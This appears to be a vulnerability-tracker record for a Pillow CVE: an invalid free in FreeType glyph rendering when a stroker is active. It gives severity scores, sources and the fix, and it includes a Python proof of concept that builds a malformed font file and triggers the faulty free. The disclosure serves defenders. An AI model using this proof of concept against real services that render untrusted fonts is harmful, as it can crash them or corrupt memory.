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Response snapshot Oct 26, 2026, 22:45 UTC

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VulnerabilityCVE-2026-112893

Pillow: Invalid free in FreeType glyph rendering when a stroker is active

- `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:

Published Updated

At a glance

Exploited
Not known
Severity
8.2 High (CVSS 4.0)
Chance of exploitation
0.4% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-j4m9-6w36-pw47 (opens a new tab)

What happened

### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed.

A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

### Details `glyph` is declared without a NULL initializer:

- `src/_imagingft.c:848`

Continue reading

The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:

- `src/_imagingft.c:1010-1013`

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

- `src/_imagingft.c:1242`

The cleanup frees it whenever a stroker exists:

- `src/_imagingft.c:1253-1256`

`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.

### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.

```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) loca_long = tt["head"].indexToLocFormat tt.close()

raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0] if loca_long: o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0] else: o0 = struct.

unpack_from(">H", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ```

Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).

### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.

Affected package ranges reported by GitHub: pillow: >= 10.0.0, < 13.0.0

Scores and how they were measured

CVSS base severity

8.2

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 32.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-j4m9-6w36-pw47 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-112893 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  14. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112893, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 21). Pillow: Invalid free in FreeType glyph rendering when a stroker is active (CVE-2026-112893). https://kevwire.com/record/CVE-2026-112893

MLA

"Pillow: Invalid free in FreeType glyph rendering when a stroker is active (CVE-2026-112893)." KEVWire, 21 Oct. 2026, kevwire.com/record/CVE-2026-112893.

Chicago

KEVWire. "Pillow: Invalid free in FreeType glyph rendering when a stroker is active (CVE-2026-112893)." Last modified October 21, 2026. https://kevwire.com/record/CVE-2026-112893.

Evidence summary (plain text)

Pillow: Invalid free in FreeType glyph rendering when a stroker is active (Oct 21, 2026).
- `src/_imagingft.c:848`

The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:
CVSS 8.2 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-j4m9-6w36-pw47).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112893&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-j4m9-6w36-pw47: https://github.com/advisories/GHSA-j4m9-6w36-pw47
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112893: https://nvd.nist.gov/vuln/detail/CVE-2026-112893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112893&date=2026-10-26
Record ID: CVE-2026-112893.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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